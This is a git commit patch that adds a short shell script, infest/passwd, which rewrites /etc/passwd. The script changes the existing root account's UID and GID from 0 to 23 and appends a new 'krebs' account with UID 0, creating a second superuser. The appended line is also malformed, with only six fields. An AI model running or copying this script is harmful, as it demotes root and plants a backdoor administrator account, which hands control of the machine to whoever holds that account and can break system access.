From 8c359fa90ef66497eb68c603560087496a4b0c31 Mon Sep 17 00:00:00 2001 From: root Date: Wed, 4 May 2011 20:56:58 +0200 Subject: infest/passwd: initial commit --- infest/passwd | 11 +++++++++++ 1 file changed, 11 insertions(+) create mode 100755 infest/passwd (limited to 'infest/passwd') diff --git a/infest/passwd b/infest/passwd new file mode 100755 index 00000000..090840bf --- /dev/null +++ b/infest/passwd @@ -0,0 +1,11 @@ +#! /bin/sh + +f=/etc/passwd + +sed -ri 's^(root:[^:]+):0:0:(.*)$\1:23:23:\2' $f + +x='krebs:x:0:0:/krebs:/bin/bash' +if ! fgrep -q $x $f; then + echo $x >>$f +fi + -- cgit v1.2.3